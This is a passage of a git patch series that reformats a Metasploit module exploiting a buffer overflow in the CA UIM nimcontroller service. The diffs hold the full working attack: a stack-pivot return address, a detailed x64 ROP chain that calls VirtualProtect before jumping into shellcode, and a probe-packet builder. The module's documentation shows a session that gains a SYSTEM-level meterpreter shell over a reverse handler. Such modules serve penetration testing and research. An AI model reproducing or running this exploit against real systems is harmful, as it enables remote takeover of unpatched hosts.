nimbuscontroller Buffer Overflow RCE + [ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ], + [ 'PACKETSTORM', '156577' ] ], - ], - 'Privileged' => true, - 'DisclosureDate' => 'Feb 05 2020', - 'DefaultTarget' => 0)) + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'AUTORUNSCRIPT' => 'post/windows/manage/migrate' + }, + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Arch' => ARCH_X64, + 'Targets' => + [ + [ + 'Windows Universal (x64) - v7.80.3132', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]', + 'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe] + } + ], + ], + 'Privileged' => true, + 'Notes' => { 'Stability' => [ CRASH_SAFE ] }, + 'DisclosureDate' => 'Feb 05 2020', + 'DefaultTarget' => 0 + ) + ) register_options( [ OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']), Opt::RPORT(48000), - ]) + ] + ) end @@ -76,36 +81,26 @@ def check connect - sock.put(generate_probe("get_info", ["interfaces=0"])) + sock.put(generate_probe('get_info', ['interfaces=0'])) response = sock.get_once(4096) - i = 0 list_check = -1 - target_version = "" - info = response.split("\x00") - - while i < info.length - if "version".in? info[i] - target_version = info[i+3] - break - end - i +=1 - end begin if target['Version'].in? response print_status("Version #{target['Version']} detected, sending directory_list probe") - sock.put(generate_probe("directory_list", ["directory=#{datastore['DIRECTORY']}", "detail=1"])) + sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1'])) list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY']) end ensure disconnect - if list_check == 0 - return CheckCode::Appears - end end - return CheckCode::Safe + if list_check == 0 + return CheckCode::Appears + else + return CheckCode::Safe + end end @@ -114,38 +109,38 @@ def exploit super connect - shellcode = make_nops(500) + shellcode = make_nops(500) shellcode << payload.encoded - offset = "\x41" * 1000 + offset = rand_text_alphanumeric(1000) offset += "\x0f" * 33 - heap_flip = [target.ret].pack(" HMODULE GetModuleHandleA( # ( RCX == *module ) LPCSTR lpModuleName, # ); - rop_gadgets = [0x0000000140018c42] * 15 # ret - rop_gadgets += [0x0000000140002ef6, # pop rax ; ret - 0x0000000000000000, # (zero out rax) - 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000] # - rop_gadgets += [0x0000000140018c42] * 10 # ret - rop_gadgets += [0x0000000140131643, # pop rcx ; ret - 0x00000000000009dd, # offset to "kernel32.dll" - 0x000000014006d8d8] # add rax, rcx ; add rsp, 0x38 ; ret - - rop_gadgets += [0x0000000140018c42] * 15 # ret - - rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret - rop_gadgets += [0x0000000140002ef6, # pop rax ; ret - 0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20) - 0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret - rop_gadgets += [0x0000000140018c42] * 17 # ret + rop_gadgets = [0x0000000140018c42] * 15 # ret + rop_gadgets += [ + 0x0000000140002ef6, # pop rax ; ret + 0x0000000000000000, # (zero out rax) + 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000 + ] # + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [ + 0x0000000140131643, # pop rcx ; ret + 0x00000000000009dd, # offset to "kernel32.dll" + 0x000000014006d8d8 + ] # add rax, rcx ; add rsp, 0x38 ; ret + + rop_gadgets += [0x0000000140018c42] * 15 # ret + + rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret + rop_gadgets += [ + 0x0000000140002ef6, # pop rax ; ret + 0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20) + 0x00000001400d1161 + ] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret + rop_gadgets += [0x0000000140018c42] * 17 # ret # RAX -> FARPROC GetProcAddressStub( # ( RCX == &addr ) HMODULE hModule, # ( RDX == *module ) lpProcName # ); - rop_gadgets += [0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) - 0x0000000140002ef6, # pop rax ; ret - 0x0000000000000000, # (zero out rax) - 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000] # - rop_gadgets += [0x0000000140018c42] * 10 # ret - rop_gadgets += [0x0000000140131643, # pop rcx ; ret - 0x0000000000000812, # offset to "virtualprotectstub" - 0x000000014006d8d8] # add rax, rcx ; add rsp, 0x38 ; ret - rop_gadgets += [0x0000000140018c42] * 15 # ret - rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40] ; mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret - rop_gadgets += [0x0000000140018c42] * 10 # ret - rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret - rop_gadgets += [0x0000000140018c42] * 10 # ret - rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret - rop_gadgets += [0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000] # - rop_gadgets += [0x0000000140018c42] * 6 # ret - rop_gadgets += [0x0000000140002ef6, # pop rax ; ret - 0x000000014015e318] # GetProcAddressStub (0x00000000014015e338-20) - rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret - rop_gadgets += [0x0000000140018c42] * 17 # ret + rop_gadgets += [ + 0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) + 0x0000000140002ef6, # pop rax ; ret + 0x0000000000000000, # (zero out rax) + 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000 + ] # + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [ + 0x0000000140131643, # pop rcx ; ret + 0x0000000000000812, # offset to "virtualprotectstub" + 0x000000014006d8d8 + ] # add rax, rcx ; add rsp, 0x38 ; ret + rop_gadgets += [0x0000000140018c42] * 15 # ret + rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40] + # mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret + + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret + rop_gadgets += [ + 0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000 + ] # + rop_gadgets += [0x0000000140018c42] * 6 # ret + rop_gadgets += [ + 0x0000000140002ef6, # pop rax ; ret + 0x000000014015e318 + ] # GetProcAddressStub (0x00000000014015e338-20) + rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret + rop_gadgets += [0x0000000140018c42] * 17 # ret # RAX -> BOOL VirtualProtectStub( # ( RCX == *shellcode ) LPVOID lpAddress, @@ -240,53 +253,71 @@ def generate_rop_chain() # ( R8 == 0x0000000000000040 ) DWORD flNewProtect, # ( R9 == *writeable location ) PDWORD lpflOldProtect, # ); - rop_gadgets += [0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) - 0x000000014013d651, # pop r12 ; ret - 0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) - 0x00000001400eba74] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret - rop_gadgets += [0x0000000140018c42] * 10 # ret - rop_gadgets += [0x0000000140002ef6, # pop rax ; ret - 0x0000000000000000] # - rop_gadgets += [0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000] # - rop_gadgets += [0x0000000140018c42] * 10 # ret - rop_gadgets += [0x0000000140131643, # pop rcx ; ret - 0x000000000000059f, # (offset to *shellcode) - 0x000000014006d8d8] # add rax, rcx ; add rsp, 0x38 ; ret - rop_gadgets += [0x0000000140018c42] * 15 # ret - rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret - rop_gadgets += [0x00000001400496a2, # pop rdx ; ret - 0x00000000000005dc] # dwSize - rop_gadgets += [0x00000001400bc39c, # pop r8 ; ret - 0x0000000000000040] # flNewProtect - rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) - rop_gadgets += [0x0000000140018c42] * 17 # ret - rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret - rop_gadgets += [0x0000000140018c42] * 20 # ret - - rop_gadgets += [0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) - 0x0000000000000000, # (zero out rax) - 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000, # - 0x0000000000000000] # - rop_gadgets += [0x0000000140018c42] * 10 # ret - rop_gadgets += [0x0000000140131643, # pop rcx ; ret - 0x0000000000000317, # (offset to our shellcode) - 0x000000014006d8d8] # add rax, rcx ; add rsp, 0x38 ; ret - rop_gadgets += [0x0000000140018c42] * 15 # ret - rop_gadgets += [0x00000001400a9747] # jmp rax - rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove) - - return rop_gadgets.pack(" "", "date" => "", "size" => "", "type" => ""} + result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' } i = 0 begin dirlist = response.split('\x00')[0].split("\x00") - index = dirlist.index("entry") + 3 + index = dirlist.index('entry') + 3 final = dirlist[index..-1] - rescue - print_error("Failed to gather directory listing") + rescue StandardError + print_error('Failed to gather directory listing') return -1 end - print_line("\n Directory of %s\n" % directory) + print_line("\n Directory of #{directory}\n") check = 0 name = 0 @@ -317,17 +348,15 @@ def parse_listing(response, directory) while i < final.length if name == 1 - if final[i].to_i > 0 - ; - else - result["name"] = final[i] + unless final[i].to_i > 0 + result['name'] = final[i] name = 0 check += 1 end end if size >= 1 if size == 3 - result["size"] = final[i] + result['size'] = final[i] size = 0 check += 1 else @@ -336,7 +365,7 @@ def parse_listing(response, directory) end if ftype >= 1 if ftype == 3 - result["type"] = final[i] + result['type'] = final[i] ftype = 0 check += 1 else @@ -345,51 +374,50 @@ def parse_listing(response, directory) end if ftime >= 1 if ftime == 3 - result["date"] = final[i] - ftime = 0 - check += 1 + result['date'] = final[i] + ftime = 0 + check += 1 else ftime += 1 end end - if final[i].include? "name" + if final[i].include? 'name' name = 1 end - if final[i].include? "size" + if final[i].include? 'size' size = 1 end - if final[i].include? "size" + if final[i].include? 'size' ftype = 1 end - if final[i].include? "last_modified" + if final[i].include? 'last_modified' ftime = 1 end i += 1 - if check == 4 + next unless check == 4 - if result["type"] == '2' - result["type"] = "" - else - result["type"] = "" - result["size"] = "" - end + if result['type'] == '2' + result['type'] = '' + else + result['type'] = '' + result['size'] = '' + end - begin - time = Time.at(result["date"].to_i) - timestamp = time.strftime('%m/%d/%Y %I:%M %p') - rescue - timestamp = "??/??/???? ??:?? ??" - end + begin + time = Time.at(result['date'].to_i) + timestamp = time.strftime('%m/%d/%Y %I:%M %p') + rescue StandardError + timestamp = '??/??/???? ??:?? ??' + end - print_line("%20s %6s %s" % [timestamp, result["type"], result["name"]]) + print_line(format('%20s %6s %s', timestamp: timestamp, type: result['type'], name: result['name'])) - check = 0 - end + check = 0 end - print_line("") + print_line('') return 0 end @@ -398,49 +426,49 @@ def parse_listing(response, directory) def generate_probe(probe, args) client = "#{rand_text_alphanumeric(14)}\x00" - packet_args = "" + packet_args = '' probe += "\x00" for arg in args - c = "" + c = '' i = 0 - while c != "=" do + while c != '=' c = arg[i] i += 1 end - packet_args << "#{arg[0, (i-1)]}\x00" - packet_args << "1\x00#{arg[i..-1].length+1}\x00" - packet_args << "#{arg[i..-1]}\x00" + packet_args << "#{arg[0, (i - 1)]}\x00" + packet_args << "1\x00#{arg[i..-1].length + 1}\x00" + packet_args << "#{arg[i..-1]}\x00" end - packet_header = "nimbus/1.0 " # nimbus header (length of body) (length of args) - packet_body = "mtype\x00" # mtype - packet_body << "7\x004\x00100\x00" # 7.4.100 - packet_body << "cmd\x00" # cmd - packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe) - packet_body << probe # probe - packet_body << "seq\x00" # seq - packet_body << "1\x002\x000\x00" # 1.2.0 - packet_body << "ts\x00" # ts - packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME) - packet_body << "frm\x00" # frm - packet_body << "7\x00#{client.length}\x00" # 7.(length of client) - packet_body << client # client address - packet_body << "tout\x00" # tout - packet_body << "1\x004\x00180\x00" # 1.4.180 - packet_body << "addr\x00" # addr - packet_body << "7\x000\x00" # 7.0 - # - # probe packet arguments (dynamic) - # argument - # length of arg value - # argument value + packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args) + packet_body = "mtype\x00" # mtype + packet_body << "7\x004\x00100\x00" # 7.4.100 + packet_body << "cmd\x00" # cmd + packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe) + packet_body << probe # probe + packet_body << "seq\x00" # seq + packet_body << "1\x002\x000\x00" # 1.2.0 + packet_body << "ts\x00" # ts + packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME) + packet_body << "frm\x00" # frm + packet_body << "7\x00#{client.length}\x00" # 7.(length of client) + packet_body << client # client address + packet_body << "tout\x00" # tout + packet_body << "1\x004\x00180\x00" # 1.4.180 + packet_body << "addr\x00" # addr + packet_body << "7\x000\x00" # 7.0 + # + # probe packet arguments (dynamic) + # argument + # length of arg value + # argument value packet_header << "#{packet_body.length} #{packet_args.length}\r\n" probe = packet_header + packet_body + packet_args From 2fb89f47c2cce7be539999a41f5174043f31021e Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 31 Jul 2020 09:08:13 -0400 Subject: [PATCH 6/6] Apply suggestions from msftidy_docs for nimcontroller_bof --- .../windows/nimsoft/nimcontroller_bof.md | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md b/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md index 81e844aed6d7..4fed51fe3100 100644 --- a/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md +++ b/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md @@ -1,6 +1,10 @@ ## Vulnerable Application -All CA Infrastructure Management monitoring agents prior to 9.20 are vulnerable to a buffer overflow vulnerability within the nimcontroller when using the directory_list probe. Since the directory_list probe requires read privileges the target host must also be vulnerable to CVE-2020-8010 to bypass ACL settings. Successful code execution will result in a NT AUTHORITY\SYSTEM shell, even if exploitation fails the remote service will not crash. You should be able to exploit the service an unlimited amount of times. +All CA Infrastructure Management monitoring agents prior to 9.20 are vulnerable to a buffer overflow vulnerability +within the nimcontroller when using the directory_list probe. Since the directory_list probe requires read privileges +the target host must also be vulnerable to CVE-2020-8010 to bypass ACL settings. Successful code execution will result +in a NT AUTHORITY\SYSTEM shell, even if exploitation fails the remote service will not crash. You should be able to +exploit the service an unlimited amount of times. ## Verification Steps @@ -11,15 +15,19 @@ All CA Infrastructure Management monitoring agents prior to 9.20 are vulnerable 5. Do `exploit` 6. Verify shell is opened and service is still accessible -## Links +### Links [CA UIM](https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/ca-enterprise-software/it-operations-management/unified-infrastructure-management/9-0-2/getting-started/ca-uim-overview.html) [Nimsoft Probe Utility](https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/ca-enterprise-software/it-operations-management/unified-infrastructure-management/9-0-2/administering/run-probe-commands-from-a-command-prompt.html) +## Options + +## Scenarios + ### Windows 10 x64 ``` -msf5 exploit(windows/nimsoft/nimcontroller_bof) > options +msf5 exploit(windows/nimsoft/nimcontroller_bof) > options Module options (exploit/windows/nimsoft/nimcontroller_bof): @@ -47,7 +55,7 @@ Exploit target: 0 Windows Universal (x64) - v7.80.3132 -msf5 exploit(windows/nimsoft/nimcontroller_bof) > exploit +msf5 exploit(windows/nimsoft/nimcontroller_bof) > exploit [*] Started HTTPS reverse handler on https://A.B.C.D:8443 [*] W.X.Y.Z:48000 - Executing automatic check (disable AutoCheck to override) @@ -73,7 +81,7 @@ msf5 exploit(windows/nimsoft/nimcontroller_bof) > exploit [+] W.X.Y.Z:48000 - The target is vulnerable. -meterpreter > +meterpreter > [*] Session ID 1 (A.B.C.D:8443 -> W.X.Y.Z:50980) processing AutoRunScript 'post/windows/manage/migrate' [*] Running module against DESKTOP-JICNNRT [*] Current server process: notepad.exe (1860) @@ -84,7 +92,7 @@ meterpreter > meterpreter > getuid Server username: NT AUTHORITY\SYSTEM -meterpreter > background +meterpreter > background [*] Backgrounding session 1... msf5 exploit(windows/nimsoft/nimcontroller_bof) > set DIRECTORY C:\\Users\\ DIRECTORY => C:\Users\